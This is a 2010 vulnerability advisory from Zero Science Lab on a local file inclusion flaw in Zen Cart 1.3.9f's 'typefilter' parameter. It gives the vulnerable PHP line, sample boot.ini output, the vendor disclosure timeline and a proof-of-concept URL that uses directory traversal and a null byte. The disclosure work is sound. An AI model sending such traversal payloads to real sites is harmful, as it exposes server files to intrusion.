Zen Cart 1.3.9f – ‘typefilter’ Local File Inclusion
Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability Vendor: Zen Ventures, LLC Product web page: http://www.zen-cart.com Version affected: 1.3.9f Summary: Zen Cart is an online store management system. It is PHP-based, using a MySQL database and HTML components. Support is provided for numerous languages and currencies, and it is freely available under the GNU GPL. Desc: Zen Cart v1.3.9f suffers from a file inlcusion vulnerability (LFI) / file disclosure vulnerability (FD) when input passed thru the "typefilter" parameter to index.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. ------------------ output. ------------------ [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptOut 1065 Query was empty in: [] ------------------ .output ------------------ - ------------------- snip. ------------------- if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter']; ------------------- .snip ------------------- Tested On: Apache 2.2.11 (Win32) PHP 5.3.0 MySQL 5.1.36 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Zero Science Lab - http://www.zeroscience.mk liquidworm gmail com 19.08.2010 Vendor status: [19.08.2010] - Vulnerability discovered. [22.08.2010] - Vendor contacted. [22.08.2010] - Vendor responds asking more details. [23.08.2010] - Sent PoC files to vendor. [25.08.2010] - Vendor confirms vulnerability. [02.09.2010] - Asked vendor for patch release date. [08.09.2010] - Vendor states approximately 7 days to patch release. [20.09.2010] - Asked vendor for status. [24.09.2010] - Asked vendor for status again because of no reply from previous mail. [28.09.2010] - Vendor informed about advisory release date. [29.09.2010] - Vendor releases version 1.3.9g to address this issue. [01.10.2010] - Public advisory released. Advisory ID: ZSL-2010-4967 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4967.php Vendor Advisory: http://www.zen-cart.com/forum/showthread.php?t=165017 PoC: http://127.0.0.1/index.php?typefilter=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00 |